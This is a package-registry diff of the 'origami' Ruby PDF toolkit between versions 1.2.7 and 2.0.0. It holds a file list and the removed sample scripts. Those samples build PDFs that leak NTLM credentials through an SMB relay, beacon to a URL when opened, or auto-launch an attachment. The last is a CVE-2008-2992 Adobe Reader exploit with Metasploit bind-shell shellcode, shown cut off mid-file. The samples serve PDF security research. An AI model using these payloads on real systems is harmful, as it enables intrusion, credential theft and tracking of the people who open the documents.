origami 1.2.7 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +66 -0
- data/README.md +112 -0
- data/bin/config/pdfcop.conf.yml +232 -233
- data/bin/gui/about.rb +27 -37
- data/bin/gui/config.rb +108 -117
- data/bin/gui/file.rb +416 -365
- data/bin/gui/gtkhex.rb +1138 -1153
- data/bin/gui/hexview.rb +55 -57
- data/bin/gui/imgview.rb +48 -51
- data/bin/gui/menu.rb +388 -386
- data/bin/gui/properties.rb +114 -130
- data/bin/gui/signing.rb +571 -617
- data/bin/gui/textview.rb +77 -95
- data/bin/gui/treeview.rb +382 -387
- data/bin/gui/walker.rb +227 -232
- data/bin/gui/xrefs.rb +56 -60
- data/bin/pdf2pdfa +53 -57
- data/bin/pdf2ruby +212 -228
- data/bin/pdfcop +338 -348
- data/bin/pdfdecompress +58 -65
- data/bin/pdfdecrypt +56 -60
- data/bin/pdfencrypt +75 -80
- data/bin/pdfexplode +185 -182
- data/bin/pdfextract +201 -218
- data/bin/pdfmetadata +83 -82
- data/bin/pdfsh +4 -5
- data/bin/pdfwalker +1 -2
- data/bin/shell/.irbrc +45 -82
- data/bin/shell/console.rb +105 -130
- data/bin/shell/hexdump.rb +40 -64
- data/examples/README.md +34 -0
- data/examples/attachments/attachment.rb +38 -0
- data/examples/attachments/nested_document.rb +51 -0
- data/examples/encryption/encryption.rb +28 -0
- data/{samples/actions/triggerevents/trigger.rb → examples/events/events.rb} +13 -16
- data/examples/flash/flash.rb +37 -0
- data/{samples → examples}/flash/helloworld.swf +0 -0
- data/examples/forms/javascript.rb +54 -0
- data/examples/forms/xfa.rb +115 -0
- data/examples/javascript/hello_world.rb +22 -0
- data/examples/javascript/js_emulation.rb +54 -0
- data/examples/loop/goto.rb +32 -0
- data/examples/loop/named.rb +33 -0
- data/examples/signature/signature.rb +65 -0
- data/examples/uri/javascript.rb +56 -0
- data/examples/uri/open-uri.rb +21 -0
- data/examples/uri/submitform.rb +47 -0
- data/lib/origami.rb +29 -42
- data/lib/origami/3d.rb +350 -225
- data/lib/origami/acroform.rb +262 -288
- data/lib/origami/actions.rb +268 -288
- data/lib/origami/annotations.rb +697 -722
- data/lib/origami/array.rb +258 -184
- data/lib/origami/boolean.rb +74 -84
- data/lib/origami/catalog.rb +397 -434
- data/lib/origami/collections.rb +144 -0
- data/lib/origami/destinations.rb +233 -194
- data/lib/origami/dictionary.rb +253 -232
- data/lib/origami/encryption.rb +1274 -1243
- data/lib/origami/export.rb +232 -268
- data/lib/origami/extensions/fdf.rb +307 -220
- data/lib/origami/extensions/ppklite.rb +368 -435
- data/lib/origami/filespec.rb +197 -0
- data/lib/origami/filters.rb +301 -295
- data/lib/origami/filters/ascii.rb +177 -180
- data/lib/origami/filters/ccitt.rb +528 -535
- data/lib/origami/filters/crypt.rb +26 -35
- data/lib/origami/filters/dct.rb +46 -52
- data/lib/origami/filters/flate.rb +95 -94
- data/lib/origami/filters/jbig2.rb +49 -55
- data/lib/origami/filters/jpx.rb +38 -44
- data/lib/origami/filters/lzw.rb +189 -183
- data/lib/origami/filters/predictors.rb +221 -235
- data/lib/origami/filters/runlength.rb +103 -104
- data/lib/origami/font.rb +173 -186
- data/lib/origami/functions.rb +67 -81
- data/lib/origami/graphics.rb +25 -21
- data/lib/origami/graphics/colors.rb +178 -187
- data/lib/origami/graphics/instruction.rb +79 -85
- data/lib/origami/graphics/path.rb +142 -148
- data/lib/origami/graphics/patterns.rb +160 -167
- data/lib/origami/graphics/render.rb +43 -50
- data/lib/origami/graphics/state.rb +138 -153
- data/lib/origami/graphics/text.rb +188 -205
- data/lib/origami/graphics/xobject.rb +819 -815
- data/lib/origami/header.rb +63 -78
- data/lib/origami/javascript.rb +596 -597
- data/lib/origami/linearization.rb +285 -290
- data/lib/origami/metadata.rb +139 -148
- data/lib/origami/name.rb +112 -148
- data/lib/origami/null.rb +53 -62
- data/lib/origami/numeric.rb +162 -175
- data/lib/origami/obfuscation.rb +186 -174
- data/lib/origami/object.rb +593 -573
- data/lib/origami/outline.rb +42 -47
- data/lib/origami/outputintents.rb +73 -82
- data/lib/origami/page.rb +703 -592
- data/lib/origami/parser.rb +238 -290
- data/lib/origami/parsers/fdf.rb +41 -33
- data/lib/origami/parsers/pdf.rb +75 -95
- data/lib/origami/parsers/pdf/lazy.rb +137 -0
- data/lib/origami/parsers/pdf/linear.rb +64 -66
- data/lib/origami/parsers/ppklite.rb +34 -70
- data/lib/origami/pdf.rb +1030 -1005
- data/lib/origami/reference.rb +102 -102
- data/lib/origami/signature.rb +591 -609
- data/lib/origami/stream.rb +668 -551
- data/lib/origami/string.rb +397 -373
- data/lib/origami/template/patterns.rb +56 -0
- data/lib/origami/template/widgets.rb +151 -0
- data/lib/origami/trailer.rb +144 -158
- data/lib/origami/tree.rb +62 -0
- data/lib/origami/version.rb +23 -0
- data/lib/origami/webcapture.rb +88 -79
- data/lib/origami/xfa.rb +2863 -2882
- data/lib/origami/xreftable.rb +472 -384
- data/test/dataset/calc.pdf +85 -0
- data/test/dataset/crypto.pdf +82 -0
- data/test/dataset/empty.pdf +49 -0
- data/test/test_actions.rb +27 -0
- data/test/test_annotations.rb +90 -0
- data/test/test_pages.rb +31 -0
- data/test/test_pdf.rb +16 -0
- data/test/test_pdf_attachment.rb +34 -0
- data/test/test_pdf_create.rb +24 -0
- data/test/test_pdf_encrypt.rb +95 -0
- data/test/test_pdf_parse.rb +96 -0
- data/test/test_pdf_sign.rb +58 -0
- data/test/test_streams.rb +182 -0
- data/test/test_xrefs.rb +67 -0
- metadata +88 -58
- data/README +0 -67
- data/bin/pdf2graph +0 -121
- data/bin/pdfcocoon +0 -104
- data/lib/origami/file.rb +0 -233
- data/samples/README.txt +0 -45
- data/samples/actions/launch/calc.rb +0 -87
- data/samples/actions/launch/winparams.rb +0 -22
- data/samples/actions/loop/loopgoto.rb +0 -24
- data/samples/actions/loop/loopnamed.rb +0 -21
- data/samples/actions/named/named.rb +0 -31
- data/samples/actions/samba/smbrelay.rb +0 -26
- data/samples/actions/webbug/submitform.js +0 -26
- data/samples/actions/webbug/webbug-browser.rb +0 -68
- data/samples/actions/webbug/webbug-js.rb +0 -67
- data/samples/actions/webbug/webbug-reader.rb +0 -90
- data/samples/attachments/attach.rb +0 -40
- data/samples/attachments/attached.txt +0 -1
- data/samples/crypto/crypto.rb +0 -28
- data/samples/digsig/signed.rb +0 -46
- data/samples/exploits/cve-2008-2992-utilprintf.rb +0 -87
- data/samples/exploits/cve-2009-0927-geticon.rb +0 -65
- data/samples/exploits/exploit_customdictopen.rb +0 -55
- data/samples/exploits/getannots.rb +0 -69
- data/samples/flash/flash.rb +0 -31
- data/samples/javascript/attached.txt +0 -1
- data/samples/javascript/js.rb +0 -52
- data/templates/patterns.rb +0 -66
- data/templates/widgets.rb +0 -173
- data/templates/xdp.rb +0 -92
- data/test/ts_pdf.rb +0 -50
|
@@ -1,26 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
#
|
|
13
|
-
# SMB relay attack.
|
|
14
|
-
# Uses a GoToR action to open a shared network directory.
|
|
15
|
-
#
|
|
16
|
-
|
|
17
|
-
ATTACKER_SERVER = "localhost"
|
|
18
|
-
|
|
19
|
-
pdf = PDF.read(ARGV[0])
|
|
20
|
-
|
|
21
|
-
dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
|
|
22
|
-
gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true]
|
|
23
|
-
pdf.pages.first.onOpen(gotor)
|
|
24
|
-
|
|
25
|
-
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
26
|
-
|
|
@@ -1,26 +0,0 @@
|
|
|
1
|
-
try
|
|
2
|
-
{
|
|
3
|
-
|
|
4
|
-
app.alert("First, I try to launch your browser :)");
|
|
5
|
-
app.launchURL("http://localhost/webbug-browser.html");
|
|
6
|
-
|
|
7
|
-
}
|
|
8
|
-
catch(e)
|
|
9
|
-
{
|
|
10
|
-
}
|
|
11
|
-
|
|
12
|
-
try
|
|
13
|
-
{
|
|
14
|
-
app.alert("Now I try to connect to the website, through your Reader");
|
|
15
|
-
|
|
16
|
-
this.submitForm(
|
|
17
|
-
{
|
|
18
|
-
cURL: "http://localhost/webbug-reader.php",
|
|
19
|
-
bAnnotations: true,
|
|
20
|
-
bGet: true,
|
|
21
|
-
cSubmitAs: "XML"
|
|
22
|
-
});
|
|
23
|
-
}
|
|
24
|
-
catch(e)
|
|
25
|
-
{
|
|
26
|
-
}
|
|
@@ -1,68 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
OUTPUTFILE = "webbug-browser.pdf"
|
|
13
|
-
|
|
14
|
-
puts "Now generating a new bugged PDF file from scratch!"
|
|
15
|
-
|
|
16
|
-
URL = "http://localhost/webbug-browser.html"
|
|
17
|
-
|
|
18
|
-
pdf = PDF.new
|
|
19
|
-
|
|
20
|
-
contents = ContentStream.new
|
|
21
|
-
contents.write "webbug-browser.pdf",
|
|
22
|
-
:x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
23
|
-
|
|
24
|
-
contents.write "When opened, this PDF connects to \"home\"",
|
|
25
|
-
:x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
26
|
-
|
|
27
|
-
contents.write "Click \"Allow\":",
|
|
28
|
-
:x => 156, :y => 670, :size => 12
|
|
29
|
-
|
|
30
|
-
contents.write " 1. Starts your default browser",
|
|
31
|
-
:x => 156, :y => 650, :size => 12
|
|
32
|
-
|
|
33
|
-
contents.write " 1. Connects to #{URL}",
|
|
34
|
-
:x => 156, :y => 630, :size => 12
|
|
35
|
-
|
|
36
|
-
contents.write "Comments:",
|
|
37
|
-
:x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
38
|
-
|
|
39
|
-
content = <<-EOS
|
|
40
|
-
Windows:
|
|
41
|
-
- Foxit : opens the default browser without any user confirmation (!)
|
|
42
|
-
- Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
Mac:
|
|
46
|
-
- Preview: nothing happens
|
|
47
|
-
- Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected
|
|
48
|
-
|
|
49
|
-
Linux:
|
|
50
|
-
- poppler: nothing happens
|
|
51
|
-
- Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
EOS
|
|
55
|
-
|
|
56
|
-
contents.write content,
|
|
57
|
-
:x => 75, :y => 560, :rendering => Text::Rendering::FILL
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
page = Page.new.setContents( contents )
|
|
61
|
-
pdf.append_page(page)
|
|
62
|
-
|
|
63
|
-
# Starting action
|
|
64
|
-
pdf.onDocumentOpen Action::URI[URL]
|
|
65
|
-
|
|
66
|
-
pdf.save(OUTPUTFILE)
|
|
67
|
-
|
|
68
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
OUTPUTFILE = "webbug-js.pdf"
|
|
13
|
-
JSCRIPTFILE = "submitform.js"
|
|
14
|
-
|
|
15
|
-
puts "Now generating a new PDF file from scratch!"
|
|
16
|
-
|
|
17
|
-
contents = ContentStream.new.setFilter(:FlateDecode)
|
|
18
|
-
contents.write OUTPUTFILE,
|
|
19
|
-
:x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
20
|
-
|
|
21
|
-
contents.write "This PDF tries to connect through JavaScript calls :-D",
|
|
22
|
-
:x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
23
|
-
|
|
24
|
-
contents.write "The script first tries to run your browser, then it connects with the Reader.",
|
|
25
|
-
:x => 186, :y => 670, :size => 15
|
|
26
|
-
|
|
27
|
-
contents.write "Comments:",
|
|
28
|
-
:x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
29
|
-
|
|
30
|
-
content = <<-EOS
|
|
31
|
-
Windows:
|
|
32
|
-
- Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf.
|
|
33
|
-
- Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears
|
|
34
|
-
to ask for user confirmation before launching the browser. However the reader still connects to the site without
|
|
35
|
-
confirmation, as with webbug-reader.pdf
|
|
36
|
-
|
|
37
|
-
Mac:
|
|
38
|
-
|
|
39
|
-
Linux:
|
|
40
|
-
- Acrobat Reader 8: same behavior as Windows version.
|
|
41
|
-
- poppler-based viewers: not interpreting JavaScript : nothing happens.
|
|
42
|
-
|
|
43
|
-
EOS
|
|
44
|
-
|
|
45
|
-
contents.write content,
|
|
46
|
-
:x => 75, :y => 600, :rendering => Text::Rendering::FILL
|
|
47
|
-
|
|
48
|
-
# A JS script to execute at the opening of the document
|
|
49
|
-
jscript = File.open(JSCRIPTFILE).read
|
|
50
|
-
|
|
51
|
-
pdf = PDF.new
|
|
52
|
-
|
|
53
|
-
page = Page.new
|
|
54
|
-
page.Contents = contents
|
|
55
|
-
|
|
56
|
-
pdf.append_page(page)
|
|
57
|
-
|
|
58
|
-
# Create a new action based on the script, compressed with zlib
|
|
59
|
-
jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode)
|
|
60
|
-
|
|
61
|
-
# Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
|
|
62
|
-
pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
|
|
63
|
-
|
|
64
|
-
# Save the resulting file
|
|
65
|
-
pdf.save(OUTPUTFILE)
|
|
66
|
-
|
|
67
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -1,90 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
OUTPUTFILE = "webbug-reader.pdf"
|
|
13
|
-
|
|
14
|
-
URL = "http://localhost/webbug-reader.php"
|
|
15
|
-
|
|
16
|
-
puts "Now generating a new bugged PDF file from scratch!"
|
|
17
|
-
|
|
18
|
-
pdf = PDF.new
|
|
19
|
-
|
|
20
|
-
contents = ContentStream.new
|
|
21
|
-
contents.write "webbug-reader.pdf",
|
|
22
|
-
:x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
23
|
-
|
|
24
|
-
contents.write "When opened, this PDF connects to \"home\"",
|
|
25
|
-
:x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
26
|
-
|
|
27
|
-
contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.",
|
|
28
|
-
:x => 156, :y => 670, :size => 12
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
contents.write "Comments:",
|
|
32
|
-
:x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
content = <<-EOS
|
|
36
|
-
1. Open this pdf document (webbug-reader.pdf)
|
|
37
|
-
2. The Reader connects to ${url}
|
|
38
|
-
3. The web server returns the requested page:
|
|
39
|
-
<?php
|
|
40
|
-
header('Content-type: application/pdf');
|
|
41
|
-
readfile('calc.pdf');
|
|
42
|
-
?>
|
|
43
|
-
4. The Reader receives \"calc.pdf\" which is immediatly rendered
|
|
44
|
-
5. A pop-up ask if it can execute the calc...
|
|
45
|
-
|
|
46
|
-
Note: The URL where the Reader tries to connect is displayed
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
Windows:
|
|
51
|
-
- Foxit : Nothing happens.
|
|
52
|
-
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
53
|
-
then the connection is made and a new window is opened with the 2nd document
|
|
54
|
-
|
|
55
|
-
Mac:
|
|
56
|
-
- Preview: nothing happens
|
|
57
|
-
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
58
|
-
then the connection is made and a new window is opened with the 2nd document
|
|
59
|
-
|
|
60
|
-
Linux:
|
|
61
|
-
- poppler: /SubmitForm is not supported
|
|
62
|
-
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
63
|
-
then the connection is made and a the document window is replaced with the 2nd document
|
|
64
|
-
Note: The 2 documents can be seen in the\"Window\" menu.
|
|
65
|
-
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
66
|
-
then the connection is made and a new window is opened with the 2nd document
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
EOS
|
|
70
|
-
|
|
71
|
-
contents.write content,
|
|
72
|
-
:x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12
|
|
73
|
-
|
|
74
|
-
page = Page.new.setContents( contents )
|
|
75
|
-
pdf.append_page( page )
|
|
76
|
-
|
|
77
|
-
# Submit flags.
|
|
78
|
-
flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
|
|
79
|
-
|
|
80
|
-
# Sends the form at the document opening.
|
|
81
|
-
pdf.onDocumentOpen Action::SubmitForm[URL, [], flags]
|
|
82
|
-
|
|
83
|
-
# Comments:
|
|
84
|
-
# - any port can be specified http://url:1234
|
|
85
|
-
# - does not follow the Redirect answers
|
|
86
|
-
|
|
87
|
-
# Save the resulting file.
|
|
88
|
-
pdf.save(OUTPUTFILE)
|
|
89
|
-
|
|
90
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -1,40 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
INPUTFILE = "attached.txt"
|
|
13
|
-
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
14
|
-
|
|
15
|
-
puts "Now generating a new PDF file from scratch!"
|
|
16
|
-
|
|
17
|
-
# Creating a new file
|
|
18
|
-
pdf = PDF.new
|
|
19
|
-
|
|
20
|
-
# Embedding the file into the PDF.
|
|
21
|
-
pdf.attach_file(INPUTFILE,
|
|
22
|
-
:EmbeddedName => "README.txt",
|
|
23
|
-
:Filter => :ASCIIHexDecode
|
|
24
|
-
)
|
|
25
|
-
|
|
26
|
-
contents = ContentStream.new
|
|
27
|
-
contents.write "File attachment sample",
|
|
28
|
-
:x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30
|
|
29
|
-
|
|
30
|
-
pdf.append_page Page.new.setContents(contents)
|
|
31
|
-
|
|
32
|
-
pdf.onDocumentOpen Action::JavaScript <<JS
|
|
33
|
-
this.exportDataObject({cName:"README.txt", nLaunch:2});
|
|
34
|
-
JS
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
pdf.save(OUTPUTFILE)
|
|
38
|
-
|
|
39
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
40
|
-
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
***THIS IS THE EMBEDDED FILE***
|
data/samples/crypto/crypto.rb
DELETED
|
@@ -1,28 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
-
|
|
14
|
-
puts "Now generating a new PDF file from scratch!"
|
|
15
|
-
|
|
16
|
-
# Creates an encrypted document with AES256 and a null password.
|
|
17
|
-
pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256)
|
|
18
|
-
|
|
19
|
-
contents = ContentStream.new
|
|
20
|
-
contents.write "Crypto sample",
|
|
21
|
-
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
22
|
-
|
|
23
|
-
pdf.append_page Page.new.setContents(contents)
|
|
24
|
-
|
|
25
|
-
pdf.save(OUTPUTFILE)
|
|
26
|
-
|
|
27
|
-
puts "PDF file saved as #{OUTPUTFILE}."
|
|
28
|
-
|
data/samples/digsig/signed.rb
DELETED
|
@@ -1,46 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/ruby
|
|
2
|
-
|
|
3
|
-
require 'openssl'
|
|
4
|
-
|
|
5
|
-
begin
|
|
6
|
-
require 'origami'
|
|
7
|
-
rescue LoadError
|
|
8
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
9
|
-
$: << ORIGAMIDIR
|
|
10
|
-
require 'origami'
|
|
11
|
-
end
|
|
12
|
-
include Origami
|
|
13
|
-
|
|
14
|
-
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
15
|
-
CERTFILE = "test.crt"
|
|
16
|
-
RSAKEYFILE = "test.key"
|
|
17
|
-
|
|
18
|
-
contents = ContentStream.new.setFilter(:FlateDecode)
|
|
19
|
-
contents.write OUTPUTFILE,
|
|
20
|
-
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
21
|
-
|
|
22
|
-
pdf = PDF.new
|
|
23
|
-
page = Page.new.setContents(contents)
|
|
24
|
-
pdf.append_page(page)
|
|
25
|
-
|
|
26
|
-
# Open certificate files
|
|
27
|
-
cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read)
|
|
28
|
-
key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read)
|
|
29
|
-
|
|
30
|
-
sigannot = Annotation::Widget::Signature.new
|
|
31
|
-
sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
|
|
32
|
-
|
|
33
|
-
page.add_annot(sigannot)
|
|
34
|
-
|
|
35
|
-
# Sign the PDF with the specified keys
|
|
36
|
-
pdf.sign(cert, key,
|
|
37
|
-
:method => 'adbe.pkcs7.sha1',
|
|
38
|
-
:annotation => sigannot,
|
|
39
|
-
:location => "France",
|
|
40
|
-
:contact => "fred@security-labs.org",
|
|
41
|
-
:reason => "Proof of Concept"
|
|
42
|
-
)
|
|
43
|
-
|
|
44
|
-
# Save the resulting file
|
|
45
|
-
pdf.save(OUTPUTFILE)
|
|
46
|
-
|
|
@@ -1,87 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
begin
|
|
4
|
-
require 'origami'
|
|
5
|
-
rescue LoadError
|
|
6
|
-
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
-
$: << ORIGAMIDIR
|
|
8
|
-
require 'origami'
|
|
9
|
-
end
|
|
10
|
-
include Origami
|
|
11
|
-
|
|
12
|
-
pdf = PDF.read(ARGV[0])
|
|
13
|
-
|
|
14
|
-
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
|
|
15
|
-
win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350"
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
# linux/x86/shell_bind_tcp - 105 bytes
|
|
19
|
-
# http://www.metasploit.com
|
|
20
|
-
# Encoder: x86/shikata_ga_nai
|
|
21
|
-
# AppendExit=false, PrependSetresuid=false,
|
|
22
|
-
# PrependSetuid=false, LPORT=4444, RHOST=,
|
|
23
|
-
# PrependSetreuid=false
|
|
24
|
-
linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"
|
|
25
|
-
|
|
26
|
-
shellcode = linux_bin
|
|
27
|
-
|
|
28
|
-
jscript = %Q|
|
|
29
|
-
/*
|
|
30
|
-
From: http://www.milw0rm.com/exploits/7006
|
|
31
|
-
|
|
32
|
-
Adobe Reader Javascript Printf Buffer Overflow Exploit
|
|
33
|
-
===========================================================
|
|
34
|
-
Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
|
|
35
|
-
CVE-2008-2992
|
|
36
|
-
|
|
37
|
-
Thanks to coresecurity for the technical background.
|
|
38
|
-
|
|
39
|
-
6Nov,2008: Exploit released by me
|
|
40
|
-
|
|
41
|
-
Credits: Debasis Mohanty
|
|
42
|
-
www.hackingspirits.com
|
|
43
|
-
www.coffeeandsecurity.com
|
|
44
|
-
===========================================================
|
|
45
|
-
|
